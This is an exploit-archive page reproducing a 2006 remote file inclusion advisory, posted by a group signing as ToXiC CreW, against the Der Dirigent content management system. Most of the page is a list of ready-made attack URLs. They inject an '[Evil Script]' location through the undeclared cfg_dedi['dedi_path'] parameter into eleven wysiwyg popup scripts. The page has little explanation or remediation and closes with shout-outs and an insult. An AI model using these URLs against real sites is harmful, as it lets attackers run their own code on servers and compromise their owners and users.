Home / exploits

PDF

Derdirigent.txt

Posted on 25 October 2006

###### ToXiC #########################
#
# Der dirigent: Remote File Inclusion by ToXiC CreW
#
#         ToXic Security Italian CreW
#            BuG FounD by Drago84
#
# Application Affect:
#                    Der_dirigent
#
#
#  Source Code:
#
http://www.der-dirigent.de/downloads/der_dirigent_v1.0.zip
#
#
# Page:
#     insert_line.php
#     insert_page.php
#     find.php
#     fullscreen.php
#     changecase.php
#     insert_link.php
#     insert_marquee.php
#     insert_table.php
#     table_cellprop.php
#     table_prop.php
#     table_rowprop.php
#
#
# Problem:
#
#         $cfg_dedi['dedi_path'] Not Declare
#
# Dir :
#      /backend/external/wysiwyg/popups/
#
#
#
#
#
#
# ExPloit :
#
http://www.site.com/der_PATH/backend/external/wysiwyg/popups/insert_li
ne.php?cfg_dedi['dedi_path']=[Evil Script]
#
http://www.site.com/der_PATH/backend/external/wysiwyg/popups/insert_pa
ge.php?cfg_dedi['dedi_path']=[Evil Script]
#
http://www.site.com/der_PATH/backend/external/wysiwyg/popups/find.php?
cfg_dedi['dedi_path']=[Evil Script]
#
http://www.site.com/der_PATH/backend/external/wysiwyg/popups/fullscree
n.php?cfg_dedi['dedi_path']=[Evil Script]
#
http://www.site.com/der_PATH/backend/external/wysiwyg/popups/changecas
e.php?cfg_dedi['dedi_path']=[Evil Script]
#
http://www.site.com/der_PATH/backend/external/wysiwyg/popups/insert_li
nk.php?cfg_dedi['dedi_path']=[Evil Script]
#
http://www.site.com/der_PATH/backend/external/wysiwyg/popups/insert_ta
ble.php?cfg_dedi['dedi_path']=[Evil Script]
#
http://www.site.com/der_PATH/backend/external/wysiwyg/popups/table_cel
lprop.php?cfg_dedi['dedi_path']=[Evil Script]
#
http://www.site.com/der_PATH/backend/external/wysiwyg/popups/table_pro
p.php?cfg_dedi['dedi_path']=[Evil Script]
#
http://www.site.com/der_PATH/backend/external/wysiwyg/popups/table_row
prop.php?cfg_dedi['dedi_path']=[Evil Script]
#
#
#
# GrEatZ All Member of ToXiC, Str0ke
#
#
# FUCK #Sonic
#
###### ToXiC #########

 

TOP